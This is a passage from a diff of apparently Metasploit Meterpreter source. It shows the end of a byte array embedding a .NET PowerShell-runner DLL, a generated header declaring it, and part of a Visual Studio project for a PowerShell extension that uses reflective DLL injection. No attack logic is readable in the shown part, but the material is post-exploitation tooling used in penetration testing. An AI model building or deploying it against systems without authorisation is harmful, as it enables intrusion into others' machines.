0x6c, 0x4d, 0x61, 0x69, 0x6e, 0x00, 0x6d, 0x73, 0x63, 0x6f, 0x72, 0x65,
|
||||
0x65, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x25,
|
||||
0x00, 0x20, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00,
|
||||
0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x00, 0x00, 0x00, 0x58, 0x40, 0x00, 0x00, 0xe0, 0x02, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x02, 0x34, 0x00,
|
||||
0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5f, 0x00, 0x56, 0x00, 0x45, 0x00,
|
||||
0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x5f, 0x00,
|
||||
0x49, 0x00, 0x4e, 0x00, 0x46, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xbd, 0x04, 0xef, 0xfe, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00,
|
||||
0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00,
|
||||
0x49, 0x00, 0x6e, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00,
|
||||
0x6e, 0x00, 0x73, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00,
|
||||
0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x04,
|
||||
0x40, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00,
|
||||
0x69, 0x00, 0x6e, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00,
|
||||
0x65, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x00, 0x00,
|
||||
0x1c, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x30, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, 0x30, 0x00, 0x00, 0x00,
|
||||
0x48, 0x00, 0x0f, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00,
|
||||
0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00,
|
||||
0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x53, 0x00, 0x46, 0x00, 0x2e, 0x00,
|
||||
0x50, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,
|
||||
0x68, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00,
|
||||
0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00,
|
||||
0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2e, 0x00,
|
||||
0x30, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00,
|
||||
0x48, 0x00, 0x13, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x74, 0x00,
|
||||
0x65, 0x00, 0x72, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x4e, 0x00,
|
||||
0x61, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x53, 0x00,
|
||||
0x46, 0x00, 0x2e, 0x00, 0x50, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x73, 0x00, 0x68, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x6c, 0x00,
|
||||
0x2e, 0x00, 0x64, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4c, 0x00, 0x65, 0x00, 0x67, 0x00,
|
||||
0x61, 0x00, 0x6c, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x70, 0x00, 0x79, 0x00,
|
||||
0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00,
|
||||
0x43, 0x00, 0x6f, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00,
|
||||
0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0xa9, 0x00, 0x20, 0x00,
|
||||
0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x36, 0x00, 0x00, 0x00,
|
||||
0x50, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4f, 0x00, 0x72, 0x00, 0x69, 0x00,
|
||||
0x67, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x46, 0x00,
|
||||
0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x6d, 0x00,
|
||||
0x65, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x53, 0x00, 0x46, 0x00, 0x2e, 0x00,
|
||||
0x50, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,
|
||||
0x68, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x2e, 0x00, 0x64, 0x00,
|
||||
0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0f, 0x00,
|
||||
0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x64, 0x00, 0x75, 0x00,
|
||||
0x63, 0x00, 0x74, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6d, 0x00, 0x65, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x53, 0x00, 0x46, 0x00, 0x2e, 0x00,
|
||||
0x50, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,
|
||||
0x68, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6f, 0x00,
|
||||
0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00,
|
||||
0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00,
|
||||
0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00,
|
||||
0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x62, 0x00, 0x6c, 0x00,
|
||||
0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,
|
||||
0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2e, 0x00,
|
||||
0x30, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00,
|
||||
0x0c, 0x00, 0x00, 0x00, 0xd0, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
@ -0,0 +1,13 @@
|
||||
/*!
|
||||
* @file powershell_runner.h
|
||||
* @brief This file is generated, do not modify directly.
|
||||
*/
|
||||
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
|
||||
|
||||
#define PSHRUNNER_DLL_LEN 10240
|
||||
|
||||
extern unsigned char PowerShellRunnerDll[PSHRUNNER_DLL_LEN];
|
||||
|
||||
#endif
|
@ -0,0 +1,306 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="r7_release|Win32">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_release|x64">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{28d39e90-259b-4dce-88a7-7d2b568809dc}</ProjectGuid>
|
||||
<RootNamespace>ext_server_powershell</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_powershell.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_powershell.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
